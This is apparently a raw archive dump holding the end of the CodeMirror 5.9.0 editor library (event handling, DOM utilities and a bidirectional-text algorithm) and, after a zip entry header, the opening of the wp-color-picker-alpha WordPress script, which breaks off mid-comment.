  function getHandlers(emitter, type, copy) {
    var arr = emitter._handlers && emitter._handlers[type]
    if (copy) return arr && arr.length > 0 ? arr.slice() : noHandlers
    else return arr || noHandlers
  }

  var off = CodeMirror.off = function(emitter, type, f) {
    if (emitter.removeEventListener)
      emitter.removeEventListener(type, f, false);
    else if (emitter.detachEvent)
      emitter.detachEvent("on" + type, f);
    else {
      var handlers = getHandlers(emitter, type, false)
      for (var i = 0; i < handlers.length; ++i)
        if (handlers[i] == f) { handlers.splice(i, 1); break; }
    }
  };

  var signal = CodeMirror.signal = function(emitter, type /*, values...*/) {
    var handlers = getHandlers(emitter, type, true)
    if (!handlers.length) return;
    var args = Array.prototype.slice.call(arguments, 2);
    for (var i = 0; i < handlers.length; ++i) handlers[i].apply(null, args);
  };

  var orphanDelayedCallbacks = null;

  // Often, we want to signal events at a point where we are in the
  // middle of some work, but don't want the handler to start calling
  // other methods on the editor, which might be in an inconsistent
  // state or simply not expect any other events to happen.
  // signalLater looks whether there are any handlers, and schedules
  // them to be executed when the last operation ends, or, if no
  // operation is active, when a timeout fires.
  function signalLater(emitter, type /*, values...*/) {
    var arr = getHandlers(emitter, type, false)
    if (!arr.length) return;
    var args = Array.prototype.slice.call(arguments, 2), list;
    if (operationGroup) {
      list = operationGroup.delayedCallbacks;
    } else if (orphanDelayedCallbacks) {
      list = orphanDelayedCallbacks;
    } else {
      list = orphanDelayedCallbacks = [];
      setTimeout(fireOrphanDelayed, 0);
    }
    function bnd(f) {return function(){f.apply(null, args);};};
    for (var i = 0; i < arr.length; ++i)
      list.push(bnd(arr[i]));
  }

  function fireOrphanDelayed() {
    var delayed = orphanDelayedCallbacks;
    orphanDelayedCallbacks = null;
    for (var i = 0; i < delayed.length; ++i) delayed[i]();
  }

  // The DOM events that CodeMirror handles can be overridden by
  // registering a (non-DOM) handler on the editor for the event name,
  // and preventDefault-ing the event in that handler.
  function signalDOMEvent(cm, e, override) {
    if (typeof e == "string")
      e = {type: e, preventDefault: function() { this.defaultPrevented = true; }};
    signal(cm, override || e.type, cm, e);
    return e_defaultPrevented(e) || e.codemirrorIgnore;
  }

  function signalCursorActivity(cm) {
    var arr = cm._handlers && cm._handlers.cursorActivity;
    if (!arr) return;
    var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);
    for (var i = 0; i < arr.length; ++i) if (indexOf(set, arr[i]) == -1)
      set.push(arr[i]);
  }

  function hasHandler(emitter, type) {
    return getHandlers(emitter, type).length > 0
  }

  // Add on and off methods to a constructor's prototype, to make
  // registering events on such objects more convenient.
  function eventMixin(ctor) {
    ctor.prototype.on = function(type, f) {on(this, type, f);};
    ctor.prototype.off = function(type, f) {off(this, type, f);};
  }

  // MISC UTILITIES

  // Number of pixels added to scroller and sizer to hide scrollbar
  var scrollerGap = 30;

  // Returned or thrown by various protocols to signal 'I'm not
  // handling this'.
  var Pass = CodeMirror.Pass = {toString: function(){return "CodeMirror.Pass";}};

  // Reused option objects for setSelection & friends
  var sel_dontScroll = {scroll: false}, sel_mouse = {origin: "*mouse"}, sel_move = {origin: "+move"};

  function Delayed() {this.id = null;}
  Delayed.prototype.set = function(ms, f) {
    clearTimeout(this.id);
    this.id = setTimeout(f, ms);
  };

  // Counts the column offset in a string, taking tabs into account.
  // Used mostly to find indentation.
  var countColumn = CodeMirror.countColumn = function(string, end, tabSize, startIndex, startValue) {
    if (end == null) {
      end = string.search(/[^\s\u00a0]/);
      if (end == -1) end = string.length;
    }
    for (var i = startIndex || 0, n = startValue || 0;;) {
      var nextTab = string.indexOf("\t", i);
      if (nextTab < 0 || nextTab >= end)
        return n + (end - i);
      n += nextTab - i;
      n += tabSize - (n % tabSize);
      i = nextTab + 1;
    }
  };

  // The inverse of countColumn -- find the offset that corresponds to
  // a particular column.
  var findColumn = CodeMirror.findColumn = function(string, goal, tabSize) {
    for (var pos = 0, col = 0;;) {
      var nextTab = string.indexOf("\t", pos);
      if (nextTab == -1) nextTab = string.length;
      var skipped = nextTab - pos;
      if (nextTab == string.length || col + skipped >= goal)
        return pos + Math.min(skipped, goal - col);
      col += nextTab - pos;
      col += tabSize - (col % tabSize);
      pos = nextTab + 1;
      if (col >= goal) return pos;
    }
  }

  var spaceStrs = [""];
  function spaceStr(n) {
    while (spaceStrs.length <= n)
      spaceStrs.push(lst(spaceStrs) + " ");
    return spaceStrs[n];
  }

  function lst(arr) { return arr[arr.length-1]; }

  var selectInput = function(node) { node.select(); };
  if (ios) // Mobile Safari apparently has a bug where select() is broken.
    selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; };
  else if (ie) // Suppress mysterious IE10 errors
    selectInput = function(node) { try { node.select(); } catch(_e) {} };

  function indexOf(array, elt) {
    for (var i = 0; i < array.length; ++i)
      if (array[i] == elt) return i;
    return -1;
  }
  function map(array, f) {
    var out = [];
    for (var i = 0; i < array.length; i++) out[i] = f(array[i], i);
    return out;
  }

  function nothing() {}

  function createObj(base, props) {
    var inst;
    if (Object.create) {
      inst = Object.create(base);
    } else {
      nothing.prototype = base;
      inst = new nothing();
    }
    if (props) copyObj(props, inst);
    return inst;
  };

  function copyObj(obj, target, overwrite) {
    if (!target) target = {};
    for (var prop in obj)
      if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
        target[prop] = obj[prop];
    return target;
  }

  function bind(f) {
    var args = Array.prototype.slice.call(arguments, 1);
    return function(){return f.apply(null, args);};
  }

  var nonASCIISingleCaseWordChar = /[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;
  var isWordCharBasic = CodeMirror.isWordChar = function(ch) {
    return /\w/.test(ch) || ch > "\x80" &&
      (ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch));
  };
  function isWordChar(ch, helper) {
    if (!helper) return isWordCharBasic(ch);
    if (helper.source.indexOf("\\w") > -1 && isWordCharBasic(ch)) return true;
    return helper.test(ch);
  }

  function isEmpty(obj) {
    for (var n in obj) if (obj.hasOwnProperty(n) && obj[n]) return false;
    return true;
  }

  // Extending unicode characters. A series of a non-extending char +
  // any number of extending chars is treated as a single unit as far
  // as editing and measuring is concerned. This is not fully correct,
  // since some scripts/fonts/browsers also treat other configurations
  // of code points as a group.
  var extendingChars = /[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
  function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch); }

  // DOM UTILITIES

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) e.className = className;
    if (style) e.style.cssText = style;
    if (typeof content == "string") e.appendChild(document.createTextNode(content));
    else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);
    return e;
  }

  var range;
  if (document.createRange) range = function(node, start, end, endNode) {
    var r = document.createRange();
    r.setEnd(endNode || node, end);
    r.setStart(node, start);
    return r;
  };
  else range = function(node, start, end) {
    var r = document.body.createTextRange();
    try { r.moveToElementText(node.parentNode); }
    catch(e) { return r; }
    r.collapse(true);
    r.moveEnd("character", end);
    r.moveStart("character", start);
    return r;
  };

  function removeChildren(e) {
    for (var count = e.childNodes.length; count > 0; --count)
      e.removeChild(e.firstChild);
    return e;
  }

  function removeChildrenAndAdd(parent, e) {
    return removeChildren(parent).appendChild(e);
  }

  var contains = CodeMirror.contains = function(parent, child) {
    if (child.nodeType == 3) // Android browser always returns false when child is a textnode
      child = child.parentNode;
    if (parent.contains)
      return parent.contains(child);
    do {
      if (child.nodeType == 11) child = child.host;
      if (child == parent) return true;
    } while (child = child.parentNode);
  };

  function activeElt() {
    var activeElement = document.activeElement;
    while (activeElement && activeElement.root && activeElement.root.activeElement)
      activeElement = activeElement.root.activeElement;
    return activeElement;
  }
  // Older versions of IE throws unspecified error when touching
  // document.activeElement in some cases (during loading, in iframe)
  if (ie && ie_version < 11) activeElt = function() {
    try { return document.activeElement; }
    catch(e) { return document.body; }
  };

  function classTest(cls) { return new RegExp("(^|\\s)" + cls + "(?:$|\\s)\\s*"); }
  var rmClass = CodeMirror.rmClass = function(node, cls) {
    var current = node.className;
    var match = classTest(cls).exec(current);
    if (match) {
      var after = current.slice(match.index + match[0].length);
      node.className = current.slice(0, match.index) + (after ? match[1] + after : "");
    }
  };
  var addClass = CodeMirror.addClass = function(node, cls) {
    var current = node.className;
    if (!classTest(cls).test(current)) node.className += (current ? " " : "") + cls;
  };
  function joinClasses(a, b) {
    var as = a.split(" ");
    for (var i = 0; i < as.length; i++)
      if (as[i] && !classTest(as[i]).test(b)) b += " " + as[i];
    return b;
  }

  // WINDOW-WIDE EVENTS

  // These must be handled carefully, because naively registering a
  // handler for each editor will cause the editors to never be
  // garbage collected.

  function forEachCodeMirror(f) {
    if (!document.body.getElementsByClassName) return;
    var byClass = document.body.getElementsByClassName("CodeMirror");
    for (var i = 0; i < byClass.length; i++) {
      var cm = byClass[i].CodeMirror;
      if (cm) f(cm);
    }
  }

  var globalsRegistered = false;
  function ensureGlobalHandlers() {
    if (globalsRegistered) return;
    registerGlobalHandlers();
    globalsRegistered = true;
  }
  function registerGlobalHandlers() {
    // When the window resizes, we need to refresh active editors.
    var resizeTimer;
    on(window, "resize", function() {
      if (resizeTimer == null) resizeTimer = setTimeout(function() {
        resizeTimer = null;
        forEachCodeMirror(onResize);
      }, 100);
    });
    // When the window loses focus, we want to show the editor as blurred
    on(window, "blur", function() {
      forEachCodeMirror(onBlur);
    });
  }

  // FEATURE DETECTION

  // Detect drag-and-drop
  var dragAndDrop = function() {
    // There is *some* kind of drag-and-drop support in IE6-8, but I
    // couldn't get it to work yet.
    if (ie && ie_version < 9) return false;
    var div = elt('div');
    return "draggable" in div || "dragDrop" in div;
  }();

  var zwspSupported;
  function zeroWidthElement(measure) {
    if (zwspSupported == null) {
      var test = elt("span", "\u200b");
      removeChildrenAndAdd(measure, elt("span", [test, document.createTextNode("x")]));
      if (measure.firstChild.offsetHeight != 0)
        zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8);
    }
    var node = zwspSupported ? elt("span", "\u200b") :
      elt("span", "\u00a0", null, "display: inline-block; width: 1px; margin-right: -1px");
    node.setAttribute("cm-text", "");
    return node;
  }

  // Feature-detect IE's crummy client rect reporting for bidi text
  var badBidiRects;
  function hasBadBidiRects(measure) {
    if (badBidiRects != null) return badBidiRects;
    var txt = removeChildrenAndAdd(measure, document.createTextNode("A\u062eA"));
    var r0 = range(txt, 0, 1).getBoundingClientRect();
    if (!r0 || r0.left == r0.right) return false; // Safari returns null in some cases (#2780)
    var r1 = range(txt, 1, 2).getBoundingClientRect();
    return badBidiRects = (r1.right - r0.right < 3);
  }

  // See if "".split is the broken IE version, if so, provide an
  // alternative way to split lines.
  var splitLinesAuto = CodeMirror.splitLines = "\n\nb".split(/\n/).length != 3 ? function(string) {
    var pos = 0, result = [], l = string.length;
    while (pos <= l) {
      var nl = string.indexOf("\n", pos);
      if (nl == -1) nl = string.length;
      var line = string.slice(pos, string.charAt(nl - 1) == "\r" ? nl - 1 : nl);
      var rt = line.indexOf("\r");
      if (rt != -1) {
        result.push(line.slice(0, rt));
        pos += rt + 1;
      } else {
        result.push(line);
        pos = nl + 1;
      }
    }
    return result;
  } : function(string){return string.split(/\r\n?|\n/);};

  var hasSelection = window.getSelection ? function(te) {
    try { return te.selectionStart != te.selectionEnd; }
    catch(e) { return false; }
  } : function(te) {
    try {var range = te.ownerDocument.selection.createRange();}
    catch(e) {}
    if (!range || range.parentElement() != te) return false;
    return range.compareEndPoints("StartToEnd", range) != 0;
  };

  var hasCopyEvent = (function() {
    var e = elt("div");
    if ("oncopy" in e) return true;
    e.setAttribute("oncopy", "return;");
    return typeof e.oncopy == "function";
  })();

  var badZoomedRects = null;
  function hasBadZoomedRects(measure) {
    if (badZoomedRects != null) return badZoomedRects;
    var node = removeChildrenAndAdd(measure, elt("span", "x"));
    var normal = node.getBoundingClientRect();
    var fromRange = range(node, 0, 1).getBoundingClientRect();
    return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1;
  }

  // KEY NAMES

  var keyNames = CodeMirror.keyNames = {
    3: "Enter", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt",
    19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End",
    36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert",
    46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod",
    106: "*", 107: "=", 109: "-", 110: ".", 111: "/", 127: "Delete",
    173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\",
    221: "]", 222: "'", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete",
    63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert"
  };
  (function() {
    // Number keys
    for (var i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i);
    // Alphabetic keys
    for (var i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i);
    // Function keys
    for (var i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = "F" + i;
  })();

  // BIDI HELPERS

  function iterateBidiSections(order, from, to, f) {
    if (!order) return f(from, to, "ltr");
    var found = false;
    for (var i = 0; i < order.length; ++i) {
      var part = order[i];
      if (part.from < to && part.to > from || from == to && part.to == from) {
        f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? "rtl" : "ltr");
        found = true;
      }
    }
    if (!found) f(from, to, "ltr");
  }

  function bidiLeft(part) { return part.level % 2 ? part.to : part.from; }
  function bidiRight(part) { return part.level % 2 ? part.from : part.to; }

  function lineLeft(line) { var order = getOrder(line); return order ? bidiLeft(order[0]) : 0; }
  function lineRight(line) {
    var order = getOrder(line);
    if (!order) return line.text.length;
    return bidiRight(lst(order));
  }

  function lineStart(cm, lineN) {
    var line = getLine(cm.doc, lineN);
    var visual = visualLine(line);
    if (visual != line) lineN = lineNo(visual);
    var order = getOrder(visual);
    var ch = !order ? 0 : order[0].level % 2 ? lineRight(visual) : lineLeft(visual);
    return Pos(lineN, ch);
  }
  function lineEnd(cm, lineN) {
    var merged, line = getLine(cm.doc, lineN);
    while (merged = collapsedSpanAtEnd(line)) {
      line = merged.find(1, true).line;
      lineN = null;
    }
    var order = getOrder(line);
    var ch = !order ? line.text.length : order[0].level % 2 ? lineLeft(line) : lineRight(line);
    return Pos(lineN == null ? lineNo(line) : lineN, ch);
  }
  function lineStartSmart(cm, pos) {
    var start = lineStart(cm, pos.line);
    var line = getLine(cm.doc, start.line);
    var order = getOrder(line);
    if (!order || order[0].level == 0) {
      var firstNonWS = Math.max(0, line.text.search(/\S/));
      var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;
      return Pos(start.line, inWS ? 0 : firstNonWS);
    }
    return start;
  }

  function compareBidiLevel(order, a, b) {
    var linedir = order[0].level;
    if (a == linedir) return true;
    if (b == linedir) return false;
    return a < b;
  }
  var bidiOther;
  function getBidiPartAt(order, pos) {
    bidiOther = null;
    for (var i = 0, found; i < order.length; ++i) {
      var cur = order[i];
      if (cur.from < pos && cur.to > pos) return i;
      if ((cur.from == pos || cur.to == pos)) {
        if (found == null) {
          found = i;
        } else if (compareBidiLevel(order, cur.level, order[found].level)) {
          if (cur.from != cur.to) bidiOther = found;
          return i;
        } else {
          if (cur.from != cur.to) bidiOther = i;
          return found;
        }
      }
    }
    return found;
  }

  function moveInLine(line, pos, dir, byUnit) {
    if (!byUnit) return pos + dir;
    do pos += dir;
    while (pos > 0 && isExtendingChar(line.text.charAt(pos)));
    return pos;
  }

  // This is needed in order to move 'visually' through bi-directional
  // text -- i.e., pressing left should make the cursor go left, even
  // when in RTL text. The tricky part is the 'jumps', where RTL and
  // LTR text touch each other. This often requires the cursor offset
  // to move more than one unit, in order to visually move one unit.
  function moveVisually(line, start, dir, byUnit) {
    var bidi = getOrder(line);
    if (!bidi) return moveLogically(line, start, dir, byUnit);
    var pos = getBidiPartAt(bidi, start), part = bidi[pos];
    var target = moveInLine(line, start, part.level % 2 ? -dir : dir, byUnit);

    for (;;) {
      if (target > part.from && target < part.to) return target;
      if (target == part.from || target == part.to) {
        if (getBidiPartAt(bidi, target) == pos) return target;
        part = bidi[pos += dir];
        return (dir > 0) == part.level % 2 ? part.to : part.from;
      } else {
        part = bidi[pos += dir];
        if (!part) return null;
        if ((dir > 0) == part.level % 2)
          target = moveInLine(line, part.to, -1, byUnit);
        else
          target = moveInLine(line, part.from, 1, byUnit);
      }
    }
  }

  function moveLogically(line, start, dir, byUnit) {
    var target = start + dir;
    if (byUnit) while (target > 0 && isExtendingChar(line.text.charAt(target))) target += dir;
    return target < 0 || target > line.text.length ? null : target;
  }

  // Bidirectional ordering algorithm
  // See http://unicode.org/reports/tr9/tr9-13.html for the algorithm
  // that this (partially) implements.

  // One-char codes used for character types:
  // L (L):   Left-to-Right
  // R (R):   Right-to-Left
  // r (AL):  Right-to-Left Arabic
  // 1 (EN):  European Number
  // + (ES):  European Number Separator
  // % (ET):  European Number Terminator
  // n (AN):  Arabic Number
  // , (CS):  Common Number Separator
  // m (NSM): Non-Spacing Mark
  // b (BN):  Boundary Neutral
  // s (B):   Paragraph Separator
  // t (S):   Segment Separator
  // w (WS):  Whitespace
  // N (ON):  Other Neutrals

  // Returns null if characters are ordered as they appear
  // (left-to-right), or an array of sections ({from, to, level}
  // objects) in the order in which they occur visually.
  var bidiOrdering = (function() {
    // Character types for codepoints 0 to 0xff
    var lowTypes = "bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";
    // Character types for codepoints 0x600 to 0x6ff
    var arabicTypes = "rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm";
    function charType(code) {
      if (code <= 0xf7) return lowTypes.charAt(code);
      else if (0x590 <= code && code <= 0x5f4) return "R";
      else if (0x600 <= code && code <= 0x6ed) return arabicTypes.charAt(code - 0x600);
      else if (0x6ee <= code && code <= 0x8ac) return "r";
      else if (0x2000 <= code && code <= 0x200b) return "w";
      else if (code == 0x200c) return "b";
      else return "L";
    }

    var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
    var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;
    // Browsers seem to always treat the boundaries of block elements as being L.
    var outerType = "L";

    function BidiSpan(level, from, to) {
      this.level = level;
      this.from = from; this.to = to;
    }

    return function(str) {
      if (!bidiRE.test(str)) return false;
      var len = str.length, types = [];
      for (var i = 0, type; i < len; ++i)
        types.push(type = charType(str.charCodeAt(i)));

      // W1. Examine each non-spacing mark (NSM) in the level run, and
      // change the type of the NSM to the type of the previous
      // character. If the NSM is at the start of the level run, it will
      // get the type of sor.
      for (var i = 0, prev = outerType; i < len; ++i) {
        var type = types[i];
        if (type == "m") types[i] = prev;
        else prev = type;
      }

      // W2. Search backwards from each instance of a European number
      // until the first strong type (R, L, AL, or sor) is found. If an
      // AL is found, change the type of the European number to Arabic
      // number.
      // W3. Change all ALs to R.
      for (var i = 0, cur = outerType; i < len; ++i) {
        var type = types[i];
        if (type == "1" && cur == "r") types[i] = "n";
        else if (isStrong.test(type)) { cur = type; if (type == "r") types[i] = "R"; }
      }

      // W4. A single European separator between two European numbers
      // changes to a European number. A single common separator between
      // two numbers of the same type changes to that type.
      for (var i = 1, prev = types[0]; i < len - 1; ++i) {
        var type = types[i];
        if (type == "+" && prev == "1" && types[i+1] == "1") types[i] = "1";
        else if (type == "," && prev == types[i+1] &&
                 (prev == "1" || prev == "n")) types[i] = prev;
        prev = type;
      }

      // W5. A sequence of European terminators adjacent to European
      // numbers changes to all European numbers.
      // W6. Otherwise, separators and terminators change to Other
      // Neutral.
      for (var i = 0; i < len; ++i) {
        var type = types[i];
        if (type == ",") types[i] = "N";
        else if (type == "%") {
          for (var end = i + 1; end < len && types[end] == "%"; ++end) {}
          var replace = (i && types[i-1] == "!") || (end < len && types[end] == "1") ? "1" : "N";
          for (var j = i; j < end; ++j) types[j] = replace;
          i = end - 1;
        }
      }

      // W7. Search backwards from each instance of a European number
      // until the first strong type (R, L, or sor) is found. If an L is
      // found, then change the type of the European number to L.
      for (var i = 0, cur = outerType; i < len; ++i) {
        var type = types[i];
        if (cur == "L" && type == "1") types[i] = "L";
        else if (isStrong.test(type)) cur = type;
      }

      // N1. A sequence of neutrals takes the direction of the
      // surrounding strong text if the text on both sides has the same
      // direction. European and Arabic numbers act as if they were R in
      // terms of their influence on neutrals. Start-of-level-run (sor)
      // and end-of-level-run (eor) are used at level run boundaries.
      // N2. Any remaining neutrals take the embedding direction.
      for (var i = 0; i < len; ++i) {
        if (isNeutral.test(types[i])) {
          for (var end = i + 1; end < len && isNeutral.test(types[end]); ++end) {}
          var before = (i ? types[i-1] : outerType) == "L";
          var after = (end < len ? types[end] : outerType) == "L";
          var replace = before || after ? "L" : "R";
          for (var j = i; j < end; ++j) types[j] = replace;
          i = end - 1;
        }
      }

      // Here we depart from the documented algorithm, in order to avoid
      // building up an actual levels array. Since there are only three
      // levels (0, 1, 2) in an implementation that doesn't take
      // explicit embedding into account, we can build up the order on
      // the fly, without following the level-based algorithm.
      var order = [], m;
      for (var i = 0; i < len;) {
        if (countsAsLeft.test(types[i])) {
          var start = i;
          for (++i; i < len && countsAsLeft.test(types[i]); ++i) {}
          order.push(new BidiSpan(0, start, i));
        } else {
          var pos = i, at = order.length;
          for (++i; i < len && types[i] != "L"; ++i) {}
          for (var j = pos; j < i;) {
            if (countsAsNum.test(types[j])) {
              if (pos < j) order.splice(at, 0, new BidiSpan(1, pos, j));
              var nstart = j;
              for (++j; j < i && countsAsNum.test(types[j]); ++j) {}
              order.splice(at, 0, new BidiSpan(2, nstart, j));
              pos = j;
            } else ++j;
          }
          if (pos < i) order.splice(at, 0, new BidiSpan(1, pos, i));
        }
      }
      if (order[0].level == 1 && (m = str.match(/^\s+/))) {
        order[0].from = m[0].length;
        order.unshift(new BidiSpan(0, 0, m[0].length));
      }
      if (lst(order).level == 1 && (m = str.match(/\s+$/))) {
        lst(order).to -= m[0].length;
        order.push(new BidiSpan(0, len - m[0].length, len));
      }
      if (order[0].level == 2)
        order.unshift(new BidiSpan(1, order[0].to, order[0].to));
      if (order[0].level != lst(order).level)
        order.push(new BidiSpan(order[0].level, len, len));

      return order;
    };
  })();

  // THE END

  CodeMirror.version = "5.9.0";

  return CodeMirror;
});
PK     N\Un<  <  B  inc/customizer/framework/assets/js/vendor/wp-color-picker-alpha.jsnu [        /**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 2.1.2
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license.
 */
( function( $ ) {
    'use strict';

		// Variable for some backgrounds ( grid )
	var image   = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==',
		// html stuff for wpColorPicker copy of the original color-picker.js
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		// Prevent CSS issues in < WordPress 4.9
		_deprecated = ( wpColorPickerL10n.current !== undefined );
		// Declare some global variables when is deprecated or not
		if ( _deprecated ) {
			var _before = '<a tabindex="0" class="wp-color-result" />';
		} else {
			var _before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
				_wrappingLabel = '<label></label>',
				_wrappingLabelText = '<span class="screen-reader-text"></span>';
		}
	/**
	 * Overwrite Color
	 * for enable support rbga
	 */
	Color.fn.toString = function() {
		if ( this._alpha < 1 )
			return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' );

		var hex = parseInt( this._color, 10 ).toString( 16 );

		if ( this.error )
			return '';

		if ( hex.length < 6 )
			hex = ( '00000' + hex ).substr( -6 );

		return '#' + hex;
	};

	/**
	 * Overwrite wpColorPicker
	 */
	$.widget( 'wp.wpColorPicker', $.wp.wpColorPicker, {
		/**
		 * @summary Creates the color picker.
		 *
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = $.proxy( self.close, self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			if ( _deprecated ) {
				el.hide().wrap( _wrap );
				self.wrap            = el.parent();
				self.toggler         = $( _before )
					.insertBefore( el )
					.css( { backgroundColor : self.initialValue } )
					.attr( 'title', wpColorPickerL10n.pick )
					.attr( 'data-current', wpColorPickerL10n.current );
				self.pickerContainer = $( _after ).insertAfter( el );
				self.button          = $( _button ).addClass('hidden');
			} else {
				/*
